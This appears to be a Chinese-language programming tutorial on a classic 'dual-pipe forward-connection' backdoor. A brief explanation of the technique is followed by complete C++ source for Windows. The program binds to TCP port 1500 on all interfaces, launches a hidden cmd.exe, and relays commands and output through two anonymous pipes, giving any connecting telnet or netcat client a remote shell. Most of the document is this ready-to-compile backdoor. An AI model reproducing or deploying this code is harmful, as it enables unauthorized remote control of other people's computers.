##简述
后门程序有两个重要的过程,分别是socket与cmd通信的过程和cmd结果回传给socket的过程。而双管道正向连接型后门是后门中最古老的一种,采用两个匿名管道,分别负责上述两个重要过程。其中正向连接的意思是后门充当Server端,然后用户使用**telnet或netcat(nc)**充当客户端连接工具,主动连接后门,这种连接方式具有被防火墙拦截的危险,所以一般不用于现代后门,但却是后门编程学习的必经之路。
- 双管道图例
##C++代码样例
/*
*@Author: PeterZ
*@Time: 2018/2/19
*@Function: 双管道正向连接后门(Default_Port: 1500)
*/
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <Windows.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32.lib")
using namespace std;
#define MAX_CONNECT_NUM 255 //最大连接数
SOCKET g_sListen;
SOCKET g_sClient[MAX_CONNECT_NUM];
HANDLE g_hReadPipe, g_hWritePipe, g_hWriteFile, g_hReadFile;
DWORD WINAPI ThreadInputPipe(LPVOID lpParam) //从socket到cmd之间的数据管道
{
SOCKET sTemp = (SOCKET)lpParam;
SECURITY_ATTRIBUTES sa;
DWORD dwByteToWrite, dwByteWritten;
char recv_data[1024] = " ";
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
CreatePipe(&g_hReadPipe, &g_hWriteFile, &sa, 0);
Sleep(300);
while (true)
{
dwByteToWrite = recv(sTemp, recv_data, 2048, 0); //建立管道
if (dwByteToWrite != SOCKET_ERROR)
{
WriteFile(g_hWriteFile, recv_data, dwByteToWrite, &dwByteWritten, NULL); //向管道中写数据
Sleep(100);
}
}
return 0;
}
DWORD WINAPI ThreadOutputPipe(LPVOID lpParam) //从cmd到socket之间的数据管道
{
SOCKET sTemp = (SOCKET)lpParam;
SECURITY_ATTRIBUTES sa;
char send_buf[2048] = " ";
DWORD len = 0, dwTotalAvail = 0;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
CreatePipe(&g_hReadFile, &g_hWritePipe, &sa, 0); //建立管道
Sleep(300);
while (true)
{
while (PeekNamedPipe(g_hReadFile, NULL, 0, NULL, &dwTotalAvail, NULL))
{
ReadFile(g_hReadFile, send_buf, 2048, &len, NULL); //从管道中读数据
Sleep(100);
send(sTemp, send_buf, len, 0);
}
}
return 0;
}
DWORD WINAPI ThreadConnWork(LPVOID lpParam) //多用户连接处理线程
{
SOCKET sTemp = (SOCKET)lpParam;
HANDLE hThread[2];
DWORD dwThreadId1, dwThreadId2;
PROCESS_INFORMATION pi;
STARTUPINFO si;
hThread[0] = CreateThread(NULL, 0, ThreadInputPipe, LPVOID(sTemp), 0, &dwThreadId1); //管道1线程建立
hThread[1] = CreateThread(NULL, 0, ThreadOutputPipe, LPVOID(sTemp), 0, &dwThreadId2); //管道2线程建立
Sleep(200);
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = g_hReadPipe;
si.hStdOutput = g_hWritePipe;
si.hStdError = g_hWritePipe;
si.wShowWindow = SW_HIDE;
char cmdline[255] = " ";
GetSystemDirectory(cmdline, sizeof(cmdline));
strcat_s(cmdline, "\cmd.exe");
if (!CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) return 0;
WaitForMultipleObjects(2, hThread, TRUE, INFINITE);
return 0;
}
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) //主函数
{
const char *wMessage = "===================> Hello, Welcome to Server <====================
===================> Prepare For the CMD: <====================
";
unsigned int conn_count = 0;
HANDLE connThread[255];
DWORD dwThreadConnId[255];
BYTE btSocMajorVer = 2, btSocMinorVer = 2;
WSADATA wsaData;
if (WSAStartup(MAKEWORD(btSocMajorVer, btSocMinorVer), &wsaData)) return 0;
g_sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (g_sListen == INVALID_SOCKET) return 0;
sockaddr_in sin;
sin.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
sin.sin_family = AF_INET;
sin.sin_port = htons(1500);
if (bind(g_sListen, (LPSOCKADDR)&sin, sizeof(SOCKADDR)) == SOCKET_ERROR) return 0;
if (listen(g_sListen, 5) == SOCKET_ERROR) return 0;
sockaddr_in csin;
int len = sizeof(SOCKADDR);
for (conn_count = 0; conn_count < MAX_CONNECT_NUM; conn_count++) //多用户连接线程处理
{
g_sClient[conn_count] = accept(g_sListen, (LPSOCKADDR)&csin, &len);
connThread[conn_count] = CreateThread(NULL, 0, ThreadConnWork, LPVOID(g_sClient[conn_count]), 0, &dwThreadConnId[conn_count]);
send(g_sClient[conn_count], wMessage, strlen(wMessage), 0);
}
WaitForMultipleObjects(conn_count, connThread, true, INFINITE);
for (unsigned int i = 0; i < conn_count; i++)
{
closesocket(g_sClient[i]);
}
closesocket(g_sListen);
CloseHandle(g_hReadFile);
CloseHandle(g_hReadPipe);
CloseHandle(g_hWriteFile);
CloseHandle(g_hWritePipe);
WSACleanup();
return 0;
}